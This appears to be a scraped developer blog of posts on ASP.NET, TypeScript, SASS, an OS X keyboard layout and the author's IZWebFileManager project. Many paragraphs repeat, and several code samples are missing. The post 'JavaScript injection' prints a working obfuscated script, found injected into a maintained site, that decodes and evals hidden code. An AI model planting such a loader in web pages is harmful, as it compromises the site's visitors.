Most of my developer life I worked on Windows, and other operation system were strange for me.
But since about year ago I am working on projects for mobile platforms (Android and iOS) and naturally became a Mac OSX user. To make my life with OSX to be the same comfortable as with Windows, I needed to find several tools and features, which replace my "lovely" windows analogs.
One of them is custom keyboard layout.
I am a Russian speaker living in Israel where I use to use English-Hebrew keyboard. For typing in Russian I use Russian phonetic keyboard layout available from this site: http://winrus.com/kbd_e.htm.
Mac OSX has built-in Russian phonetic keyboard, but the layout is slightly different. Sounds like there is not a big deal to learn new layout, but if I switch between Windows and Mac, it become annoying to adjust my mind for layout differences.
Fortunately, there is a way to customise keyboard layout on Mac OSX using "Ukelele" software.
Using Ukelele I took built-in Russian phonetic keyboard layout and changed several keys to make it the same as on windows.
Saved "Russian - phonetic - ZH.keylayout" and "Russian - phonetic - ZH.icns" files into "/Library/Keyboard Layouts", and was able to select it from "System Preferences > Keyboard > Input Sources"
Vualah! My OSX word is friendly for me!
I am happy to share it with you, please download my custom Russian keyboard layout from here: http://1drv.ms/1mH5NTf
Wednesday, June 11, 2014
Sunday, October 13, 2013
Using Compass framework with ASP.NET MVC application.
In my previous post I described how to start working with SASS using Mindscape Web Workbench.
In this post I am taking next step - start working with Compass - CSS Authoring Framework.
Immediately after installing Web Workbench, you can create/edit SCSS file, which are compiled into CSS. By default, Web Workbench compile SCSS files with SASS compiler. But there is a trick:
In this post I am taking next step - start working with Compass - CSS Authoring Framework.
Immediately after installing Web Workbench, you can create/edit SCSS file, which are compiled into CSS. By default, Web Workbench compile SCSS files with SASS compiler. But there is a trick:
Monday, October 7, 2013
Tools: SlowCheetah - XML Transforms
If you have different Debug/Release configurations and want to switch them automatically when you run application - this tool is "must to have" for you.
SlowCheetah - XML Transforms
"This package enables you to transform your app.config or any other XML file based on the build configuration. It also adds additional tooling to help you create XML transforms.. Written by: Sayed Ibrahim Hashimi, Chuck England and Bill Hiebert"
SlowCheetah - XML Transforms
"This package enables you to transform your app.config or any other XML file based on the build configuration. It also adds additional tooling to help you create XML transforms.. Written by: Sayed Ibrahim Hashimi, Chuck England and Bill Hiebert"
Just used it with my application, it works like a charm, no more lines of code in build script changing configuration for production environment.
Highly recommended!
Sunday, October 6, 2013
Add power of SASS to ASP.NET application
I always wanted to find a way to develop CSS in a way I write C# or JavaScript. The main problem in CSS as a language for me were complexity of refactoring and code reuse.
There were projects such SASS and LESS, but there was no way to adopt them into .NET/Visual Studio environment easily.
About month ago I met amazing product - Mindscape Web Workbench . It is a Visual Studio plug in, allows you to write SASS, LESS and Coffee Script with Visual Studio and therefore use power of those technologies in ASP.NET project.
There were projects such SASS and LESS, but there was no way to adopt them into .NET/Visual Studio environment easily.
About month ago I met amazing product - Mindscape Web Workbench . It is a Visual Studio plug in, allows you to write SASS, LESS and Coffee Script with Visual Studio and therefore use power of those technologies in ASP.NET project.
Sunday, June 30, 2013
TypeScript lambda expression
In my opinion, TypeScript is the best solution for MS/.NET oriented development.
At first - it is very similar to C#, that makes .NET developer's life easy.
At second - TypeScript is a superset of JavaScript, and you can mix "pure" JavaScript code with "typed" TypeScript. It is very important in case you have a lot of JavaScript in your project and want to take advantage of modern web technologies. I have an example - my IZWebFileManager project
At third (but not less important) - it has Lambda expression
I am using JQuery AJAX, and used to write such code:
It is simple closure, that I use to keep reference to the instance that I work with from ajax callback.
This pattern became routine and very annoying.
But TypeScript bring the solution:
It is much simple, no need to care of what 'this' is anymore. It just does all this annoying routine behind the scene. There is compiled JavaScript output:
It worth to move to TypeScript just because it is a great feature
At first - it is very similar to C#, that makes .NET developer's life easy.
At second - TypeScript is a superset of JavaScript, and you can mix "pure" JavaScript code with "typed" TypeScript. It is very important in case you have a lot of JavaScript in your project and want to take advantage of modern web technologies. I have an example - my IZWebFileManager project
At third (but not less important) - it has Lambda expression
I am using JQuery AJAX, and used to write such code:
This pattern became routine and very annoying.
But TypeScript bring the solution:
It is much simple, no need to care of what 'this' is anymore. It just does all this annoying routine behind the scene. There is compiled JavaScript output:
It worth to move to TypeScript just because it is a great feature
Tuesday, March 19, 2013
Junk Email - free source of Unicode characters
When you test Unicode support of an application, you likely use text snippets of foreign language.
Recently I found a free source of such texts - it is Junk Email. There you can find tons of text in Chinesе, Turkish, Russian and more. :)
Recently I found a free source of such texts - it is Junk Email. There you can find tons of text in Chinesе, Turkish, Russian and more. :)
Monday, March 4, 2013
IZWebFileManager got better!
Today I released a new build of IZWebFileManager - v2.8.0.
This is a new minor release, but it includes a major changes.
First of all, I dropped IE7 support. Previous version 2.7.2 works in IE7, and you may stick with it if you really need IE7 support.
A new "supper" feature has been added - Select Folder dialog. When you copy or move selected item, then Select Folder dialog is open to allow you to pick up a destination.
In additional, there are many new properties were added to support look and feel customization:
This is a new minor release, but it includes a major changes.
First of all, I dropped IE7 support. Previous version 2.7.2 works in IE7, and you may stick with it if you really need IE7 support.
A new "supper" feature has been added - Select Folder dialog. When you copy or move selected item, then Select Folder dialog is open to allow you to pick up a destination.
In additional, there are many new properties were added to support look and feel customization:
- SelectedItemBackColor
- SelectedItemForeColor
- SelectedItemBorderColor
- SelectFolderTreeStyle
- DetailsColumnHeaderStyle
- DetailsSortedColumnStyle
- DynamicMenuStyle
- TextBoxStyle
Demo project contains samples of using of them.
You can download this new build from project's page.
Wednesday, January 2, 2013
Converting existing JavaScript code to TypeScript in Visual Studio
The best way to learn new technology is to start using it with real project. I have such - IZWebFileManager. It was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET. IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.
The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript
It this post I'll tell you about steps I went through.
The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript
It this post I'll tell you about steps I went through.
Tuesday, January 1, 2013
Using TypeScript with an existing ASP.NET project.
TypeScript looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing TypeScript for Visual Studio 2012 I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.
After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:
I just added this lines in my existing project's *.csproj file and it works fine now.
Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))
After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:
I just added this lines in my existing project's *.csproj file and it works fine now.
Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))
Tuesday, September 4, 2012
Using ASP.NET Bundling and Minification with Web Forms
Bundling and Minification is a new feature of ASP.NET 4.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.
It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.
When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.
It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.
When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.
Tuesday, April 10, 2012
JavaScript injection
This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:
c=3-1;i=c-2;if(
window.document)if(parseInt(" 0"+"1"+"2"+"3")===83)try{Date( ).prototype.q}catch(egewgsd){ f=['-31i-31i65i62i- 8i0i60i71i59i77i69i61i70i76i6i 63i61i76i29i68i61i69i61i70i76i 75i26i81i44i57i63i38i57i69i61i 0i-1i58i71i60i81i- 1i1i51i8i53i1i83i-27i-31i-31i- 31i65i62i74i57i69i61i74i0i1i19 i-27i-31i-31i85i- 8i61i68i75i61i-8i83i-27i-31i- 31i- 31i60i71i59i77i69i61i70i76i6i7 9i74i65i76i61i0i- 6i20i65i62i74i57i69i61i- 8i75i74i59i21i- 1i64i76i76i72i18i7i7i63i65i63i 57i76i61i74i65i57i6i65i70i7i65 i70i6i59i63i65i23i15i-1i- 8i79i65i60i76i64i21i-1i9i8i- 1i-8i64i61i65i63i64i76i21i- 1i9i8i-1i- 8i75i76i81i68i61i21i- 1i78i65i75i65i58i65i68i65i76i8 1i18i64i65i60i60i61i70i19i72i7 1i75i65i76i65i71i70i18i57i58i7 5i71i68i77i76i61i19i68i61i62i7 6i18i8i19i76i71i72i18i8i19i- 1i22i20i7i65i62i74i57i69i61i22 i-6i1i19i-27i-31i-31i85i-27i- 31i- 31i62i77i70i59i76i65i71i70i- 8i65i62i74i57i69i61i74i0i1i83i -27i-31i-31i-31i78i57i74i- 8i62i-8i21i- 8i60i71i59i77i69i61i70i76i6i59 i74i61i57i76i61i29i68i61i69i61 i70i76i0i- 1i65i62i74i57i69i61i- 1i1i19i62i6i75i61i76i25i76i76i 74i65i58i77i76i61i0i- 1i75i74i59i-1i4i- 1i64i76i76i72i18i7i7i63i65i63i 57i76i61i74i65i57i6i65i70i7i65 i70i6i59i63i65i23i15i- 1i1i19i62i6i75i76i81i68i61i6i7 8i65i75i65i58i65i68i65i76i81i2 1i-1i64i65i60i60i61i70i- 1i19i62i6i75i76i81i68i61i6i72i 71i75i65i76i65i71i70i21i- 1i57i58i75i71i68i77i76i61i- 1i19i62i6i75i76i81i68i61i6i68i 61i62i76i21i-1i8i- 1i19i62i6i75i76i81i68i61i6i76i 71i72i21i-1i8i- 1i19i62i6i75i61i76i25i76i76i74 i65i58i77i76i61i0i- 1i79i65i60i76i64i-1i4i-1i9i8i- 1i1i19i62i6i75i61i76i25i76i76i 74i65i58i77i76i61i0i- 1i64i61i65i63i64i76i-1i4i- 1i9i8i-1i1i19i-27i-31i-31i- 31i60i71i59i77i69i61i70i76i6i6 3i61i76i29i68i61i69i61i70i76i7 5i26i81i44i57i63i38i57i69i61i0 i-1i58i71i60i81i- 1i1i51i8i53i6i57i72i72i61i70i6 0i27i64i65i68i60i0i62i1i19i- 27i-31i-31i85'][0].split('i'); v="ev"+"a"+"l";}if(v)e=window[ v];w=f;s=[];r=String;for(;565! =i;i+=1){j=i;s+=r["fr"+"omC"+" harCode"](40+1*w[j]);}
if(f)z=s;e(z);
Last expression e(z) evaluates following code:
It is amazing, how people create such things. This have to be a special state of mind.
c=3-1;i=c-2;if(
if(f)z=s;e(z);
Last expression e(z) evaluates following code:
It is amazing, how people create such things. This have to be a special state of mind.
Tuesday, March 27, 2012
Setting up Git, Git Extensions and GitHub account
This tutorial indeed for people who is not familiar with Git and GitHub and make first steps with this this technology. The tutorial contains following steps:
- Installing Git and Git Extensions
- Setting up GitHub account ,SSH keys and repository
- Working with GitHub repository with Git Extensions
- Cloning public repository from GitHub
Monday, March 12, 2012
IZWebFileManager New Feature: File Search.
IZWebFileManager v2.7.0 is out.
This release brings a new feature: file search.
You can search files as easy as you do it in windows explorer.
Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.
In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.
The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/
This release brings a new feature: file search.
You can search files as easy as you do it in windows explorer.
Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.
In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.
The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/
Wednesday, March 7, 2012
BugNET - open source issue tracker
I've been searching for free development management tools running on windows and finally found this one - BugNET - open source issue tracker
It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.
Current state is beta, but it is developed rapidly, so release should not take long.
It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.
Current state is beta, but it is developed rapidly, so release should not take long.
Friday, March 2, 2012
IZWebFileManager is a 2 million dollar project!
According to Ohloh, my open source web file manager project cost more then 2 million dollar!
Is there someone who wants to buy?
Is there someone who wants to buy?
Tuesday, February 21, 2012
IZWebFileManager got mentioned by CodeProject
My open source project IZWebFileManager got mentioned by CodeProject.
There is a link to the article on CodeProject: http://www.codeproject.com/Articles/333160/WebSlideProjector
There is a link to the article on CodeProject: http://www.codeproject.com/Articles/333160/WebSlideProjector
Saturday, February 4, 2012
IZWebFileManager now speaks in more languages
Recently I got a contribution from BeJay, one of IZWebFileManager users. It was 3 new language resource files: China, Czech and Slovakia.
So by now IZWebFileManager supports 17 languages! Isn't it great?
Most recent release available for download from google code: http://code.google.com/p/izwebfilemanager/
IZWebFileManager is an open source project. You are welcome to contribute!
So by now IZWebFileManager supports 17 languages! Isn't it great?
Most recent release available for download from google code: http://code.google.com/p/izwebfilemanager/
IZWebFileManager is an open source project. You are welcome to contribute!
Monday, November 14, 2011
Use ASP.NET Resource strings from within javascript files
It seems to be a common issue.
ASP.NET allows you to use resource files (*.resx) to localize content of pages (or views, if we are in context of ASP.NET MVC). All what you need is to put resource files under ~/App_GlobalResources folder and use either resource expression or HttpContext.GetGlobalResourceObject() API to get a proper string. It is well documented on MSDN. The only issue - this API is not accessible within static resources such JavaScript files.
ASP.NET allows you to use resource files (*.resx) to localize content of pages (or views, if we are in context of ASP.NET MVC). All what you need is to put resource files under ~/App_GlobalResources folder and use either resource expression or HttpContext.GetGlobalResourceObject() API to get a proper string. It is well documented on MSDN. The only issue - this API is not accessible within static resources such JavaScript files.
Monday, August 1, 2011
Write custom ASP.NET HTTP Handler using JavaScript
JavaScript is extremely popular language and already has implementations for server-side programming. For example Node.js - a server-side JavaScript environment that utilizes Goggle's V8 JavaScript Engine.
I am an ASP.NET developer and want to use JavaScript in the ASP.NET environment. I found Javascript .NET project, that bring Google's V8 to the .NET world and I started with a simple task - to write a custom ASP.NET HTTP Handler using JavaScript. (I had done similar task with IronPython before)
I am an ASP.NET developer and want to use JavaScript in the ASP.NET environment. I found Javascript .NET project, that bring Google's V8 to the .NET world and I started with a simple task - to write a custom ASP.NET HTTP Handler using JavaScript. (I had done similar task with IronPython before)
Monday, July 18, 2011
Week picker using jQuery UI Datepicker
There is my implementation of Week picker using jQuery UI Datepicker (requers jQuery UI 1.8+).
Subscribe to:
Posts (Atom)










